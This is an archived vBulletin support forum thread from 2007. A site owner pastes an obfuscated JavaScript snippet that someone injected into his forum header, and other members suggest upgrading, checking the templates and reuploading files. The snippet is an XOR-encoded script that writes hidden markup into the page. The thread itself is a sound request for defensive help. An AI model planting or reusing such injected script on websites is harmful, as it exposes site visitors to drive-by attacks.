vb.org Archive

vb.org Archive (https://vborg.vbsupport.ru/index.php)
-   vB3 Programming Discussions (https://vborg.vbsupport.ru/forumdisplay.php?f=15)
-   -   I hope this is the right place to ask this (https://vborg.vbsupport.ru/showthread.php?t=149009)

kevin_kirk 06-05-2007 09:59 PM

I hope this is the right place to ask this
 
I wonder if someone could help - someone has pasted a javascript virus in the forum header on my site; it is the first thing that appears on the index page.

I've pasted it below (after replacing the java script word) so you can see were it is. How do I get rid of it and what does it do? The version of vb is V3.0.3

Thanks

Kevin

<script language="REPLACED">e = '0x00' + '52';str1 = "%E9%B1%BA%A7%CD%A0%A1%AA%B9%B6%EE%F3%A7%BA%A0%BA% B3%BA%B9%BA%A1%AA%EB%B5%BA%B1% B1%B6%BF%F3%EF%E9%BA%B7%A3%B2%BE%B6%CD%A0%A3%B0%EE %F3%B5%A1%A1%BD%EB%FC%FC%B1%BA %BF%B2%B0%BF%A1%FF%BA%BF%B7%BC%FC%B9%B1%FC%B4%A3%B 6%AA%FC%F3%CD%A4%BA%B1%A1%B5%E E%E2%CD%B5%B6%BA%B4%B5%A1%EE%E2%EF%E9%FC%BA%B7%A3% B2%BE%B6%EF%E9%FC%B1%BA%A7%EF" ;str=tmp='';for(i=0;i<str1.length;i+=3){tmp = unescape(str1.slice(i,i+3));str=str+String.fromCha rCode((tmp.charCodeAt(0)^e)-127);}document.write(str);</script>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html dir="ltr" lang="en">
<head>
<!-- no cache headers -->
<meta http-equiv="Pragma" content="no-cache" />

puertoblack2003 06-05-2007 10:56 PM

you need to upgrade to the latest vb software

Dismounted 06-06-2007 08:42 AM

It'll be in a template somewhere.

kevin_kirk 06-06-2007 08:51 PM

Quote:

Originally Posted by Dismounted (Post 1262398)
It'll be in a template somewhere.

Thanks but I cant find it anywhere. I uploaded all the default templates and its still there. Where is the security leak that lets it in?

Thanks.

Dismounted 06-07-2007 06:42 AM

Reupload all your files as well. You probably installed a modification that had a vulnerability.


All times are GMT. The time now is 02:43 AM.

Powered by vBulletin® Version 3.8.12 by vBS
Copyright ©2000 - 2025, vBulletin Solutions Inc.

X vBulletin 3.8.12 by vBS Debug Information
  • Page Generation 0.01537 seconds
  • Memory Usage 1,715KB
  • Queries Executed 10 (?)
More Information
Template Usage:
  • (1)ad_footer_end
  • (1)ad_footer_start
  • (1)ad_header_end
  • (1)ad_header_logo
  • (1)ad_navbar_below
  • (1)bbcode_quote_printable
  • (1)footer
  • (1)gobutton
  • (1)header
  • (1)headinclude
  • (6)option
  • (1)post_thanks_navbar_search
  • (1)printthread
  • (5)printthreadbit
  • (1)spacer_close
  • (1)spacer_open 

Phrase Groups Available:
  • global
  • postbit
  • showthread
Included Files:
  • ./printthread.php
  • ./global.php
  • ./includes/init.php
  • ./includes/class_core.php
  • ./includes/config.php
  • ./includes/functions.php
  • ./includes/class_hook.php
  • ./includes/modsystem_functions.php
  • ./includes/class_bbcode_alt.php
  • ./includes/class_bbcode.php
  • ./includes/functions_bigthree.php 

Hooks Called:
  • init_startup
  • init_startup_session_setup_start
  • init_startup_session_setup_complete
  • cache_permissions
  • fetch_threadinfo_query
  • fetch_threadinfo
  • fetch_foruminfo
  • style_fetch
  • cache_templates
  • global_start
  • parse_templates
  • global_setup_complete
  • printthread_start
  • bbcode_fetch_tags
  • bbcode_create
  • bbcode_parse_start
  • bbcode_parse_complete_precache
  • bbcode_parse_complete
  • printthread_post
  • printthread_complete